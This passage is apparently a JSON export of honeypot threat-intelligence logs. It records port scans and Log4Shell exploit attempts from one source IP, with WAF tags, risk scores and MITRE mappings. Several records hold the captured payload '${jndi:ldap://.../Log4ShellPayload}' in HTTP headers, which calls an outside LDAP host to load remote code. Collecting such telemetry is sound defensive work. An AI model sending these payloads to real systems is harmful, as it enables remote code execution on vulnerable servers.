\u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":183},{"id":7106408,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":18007,"dst_port":31832,"service":"http","classification":"log4j_jndi","waf_score":90,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"POST","http_target":"\/api\/","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 10, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022aa01e151de9993b07301e663f83a8b94cff655ca\u0022, \u0022http_host_hash\u0022: \u00226375668bbc7e8a77ee64c87a1ff165cd64a46f95\u0022, \u0022http_target_hash\u0022: \u0022357322ae39f93f572e23cd9edd3307e2ac5a321f\u0022, \u0022http_referer_hash\u0022: \u0022aa01e151de9993b07301e663f83a8b94cff655ca\u0022, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 622, \u0022payload_entropy\u0022: 5.334091928262329, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 31832, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 48, \u0022risk_granularity\u0022: 7.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 100, \u0022tag_count\u0022: 25, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022e89ca1c0f30cf03855c81b00bd7f90fc2504e6c5\u0022, \u0022event_fingerprint\u0022: \u00226aa4961ea7ba77d9571def1a829eccf5c1941ce0\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 582, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022fe708651b6c643395e8302e86b7a4c6a\u0022, \u0022payload_hash\u0022: \u0022246e3562ad0706970992baf24d62845b\u0022, \u0022path_pattern_hash\u0022: \u00224d3a663efc0aa83935bc8248020e5b4c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 100}, \u0022payload_preview\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/api\/\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022k8s-api\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/api\/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.16\u0022, \u0022payload_snippet\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/api\/\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022k8s-api\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022POST \/api\/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.16\u0022, \u0022payload_snippet\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022log4shell_probe\u0022], \u0022recommended_client_action\u0022: \u0022block\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00226171199e062807937f9b5f781d6dcec60aedc132\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/api\/\u0022, \u0022request_line\u0022: \u0022POST \/api\/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:31832 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/api\/\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 13 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 100\/100 (Critique) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 100, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 100, \u0022risk_label\u0022: \u0022Critique\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 31832, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022INT-http_log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022Http Log4J\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022block\u0022, \u0022recommended_action_label\u0022: \u0022Bloquer (recommand\u00e9)\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/api\/\u0022, \u0022request_line\u0022: \u0022POST \/api\/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:31832 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/api\/\u0022, \u0022evidence_snippet\u0022: \u0022POST \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:31832\\r\\nConnection: close\\r\\nContent-Length: 75\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:46\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 13 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 13 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002231832\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.61, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_block\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_idor_probe\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_probe_api\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:31832","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4605\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950407:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950419:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951010:log4shell-jndi\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_credential_body\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_idor_probe\u0022, \u0022http_jndi\u0022, \u0022http_jwt_body\u0022, \u0022http_log4shell\u0022, \u0022http_probe_api\u0022, \u0022http_ssti\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":622},{"id":7106407,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":18290,"dst_port":20639,"service":"http","classification":"log4j_jndi","waf_score":42,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"GET","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 9, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022a26b02c706d6b7043e1888596f91823269f474e3\u0022, \u0022http_host_hash\u0022: \u0022c7962850175bd302b00a401e535bd8eac3529636\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: \u0022a26b02c706d6b7043e1888596f91823269f474e3\u0022, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 497, \u0022payload_entropy\u0022: 5.263017147189953, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20639, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 12, \u0022risk_granularity\u0022: 6.8, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 79, \u0022tag_count\u0022: 12, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002211881f5d34a10df89e3c2cae15ad80f45aff420b\u0022, \u0022event_fingerprint\u0022: \u0022d486a445aa27da465fb21db8ab3fcc5fcb27f86c\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 342, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 79, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002231830b72806933f024068d193a675195\u0022, \u0022payload_hash\u0022: \u0022c07207ecb14ed015e83cc81343a640a8\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 79}, \u0022payload_preview\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:460\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.168\u0022, \u0022payload_snippet\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:460\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.168\u0022, \u0022payload_snippet\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:460\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00227cfac7544e8812c8d000e6068aa5d02a85d2c482\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022GET \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4604\/Log4ShellPayload}\u0022, \u0022port\u0022: 20639, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/login HTTP\/1.1\\r\\nHost: 62.3.50.33:20639\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:460\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20639 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u002220639 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: 